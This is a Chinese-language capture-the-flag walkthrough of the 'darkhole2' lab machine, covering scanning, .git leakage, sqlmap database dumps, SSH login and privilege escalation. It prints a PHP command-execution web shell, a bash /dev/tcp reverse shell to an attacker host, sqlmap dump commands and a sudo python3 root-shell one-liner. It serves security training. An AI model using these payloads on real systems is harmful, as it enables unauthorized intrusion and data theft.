darkhole2通关过程
这是一个困难难度的靶场,通过不小心泄露的.git文件收集信息,再利用漏洞脱库登录,最后利用rce漏洞进行提权。也可以用通用来打。
信息收集
扫描靶机ip
nmap -sP 192.168.3.1/24
靶机ip为192.168.3.130
对靶机端口进行全面扫描
nmap -p 1-65535 -A 192.168.3.130
只扫出了80和22端口
访问192.168.3.130
目录收集
python dirsearch.py -u http://192.168.3.130/
查看扫描报告搜集出请求成功的路径
200 3KB http://192.168.3.130/.git/
200 130B http://192.168.3.130/.git/config
200 4KB http://192.168.3.130/.git/hooks/
200 41B http://192.168.3.130/.git/COMMIT_EDITMSG
200 23B http://192.168.3.130/.git/HEAD
200 1KB http://192.168.3.130/.git/index
200 240B http://192.168.3.130/.git/info/exclude
200 554B http://192.168.3.130/.git/logs/HEAD
200 1KB http://192.168.3.130/.git/logs/
200 554B http://192.168.3.130/.git/logs/refs/heads/master
200 948B http://192.168.3.130/.git/info/
200 6KB http://192.168.3.130/.git/objects/
200 1KB http://192.168.3.130/.git/refs/
200 41B http://192.168.3.130/.git/refs/heads/master
200 1KB http://192.168.3.130/.idea/
200 279B http://192.168.3.130/.idea/modules.xml
200 2KB http://192.168.3.130/.idea/workspace.xml
200 73B http://192.168.3.130/.git/description
200 943B http://192.168.3.130/config/
200 11B http://192.168.3.130/dashboard.php
200 931B http://192.168.3.130/js/
200 1KB http://192.168.3.130/login.php
主要存在目录
/.git
/.idea
/config
/dashboard.php
/js
/login.php
.git代码管理仓库的文件,应该是开发不小心提交上来的可能会造成git信息泄露
.idea一个java开发工具的配置文件,应该没什么用
对目录按顺序进行信息收集首先是/.git
利用.git文件泄露获取更多信息
python2 GitHack.py http://192.168.3.130/.git/
到生成的仓库中查看git的log日志
git log
最新版本记录i changed login.php file for more secure增加了安全性,想知道他增加了什么安全防护,对比版本差异
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
,发现login.php删去了一段代码有默认的账号密码,开发人员有时候为了方便会写死在代码里的。
if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
而且新增的login.php的代码对sql注入做了防护,login页面的sql注入应该是不行了
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){
然后大致看了下目录下获取到的源码,在config目录下的config.php文件中获取到了一段数据库的泄露信息,知道了账号和连接的数据库密码为空
<?php
$connect = new mysqli("localhost","root","","darkhole_2");
有了这两个信息直接进入到渗透阶段,在渗透中再进行信息收集
渗透阶段
直接到登录页面,用之前删掉代码里的账号密码进行登录
lush@admin.com
321
登录成功
它的地址为
http://192.168.3.130/dashboard.php?id=1
因为刚打完darkhole1这个地址很熟悉,跑一下有没有sql注入
源码代码审计是根据session判断,cookie中必须携带sessionid即PHPSESSID
sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch
扫到了时间盲注和UNION注入
爆库
sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch --dbs
爆表
sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 --tables
ssh表脱库
sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T ssh --dump
users表脱库
sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T users --dump
既然拿到了ssh的账号密码直接进行登录
ssh jehad@192.168.3.130
查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户进行提权
sudo -l
提权阶段
查看可以提权的用户
cat /etc/passwd | grep /bin/bash
到他的home目录下看看
在.bash_history文件看见了很多疑似远程命令执行的语句
history命令也看见了同样的命令
浅试一下复制一条上面的命令
curl "http://127.0.0.1:9999/?cmd=id"
果然可以,这个jehad是个hack已经黑掉写入了木马,利用它的就好了
查看定时任务
cat /etc/crontab
可以看到这个定时任务是每分钟到/opt/web目录下开端口9999的web服务
去/opt/web目录看看,其中有个index.php,证实了是rce
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>
因为localhost访问不到属于局域网,对9999端口转发到本地
ssh -L 9999:127.0.0.1:9999 jehad@192.168.3.130
可以成功访问了
建立反弹连接,因为这个用户是losy当用这个rce反弹shell,获得的对象就是losy
需要开启kali监听
nc -lvvp 7777
反弹shell(需要url编码)
bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261'
访问
http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261%27
成功拿到losy的权限
看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码
history
losy是有sudo权限的
查看losy可以运行的文件或命令,需要密码刚刚获取到了gang
sudo -l
python3有root权限直接sudo python命令提权
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
|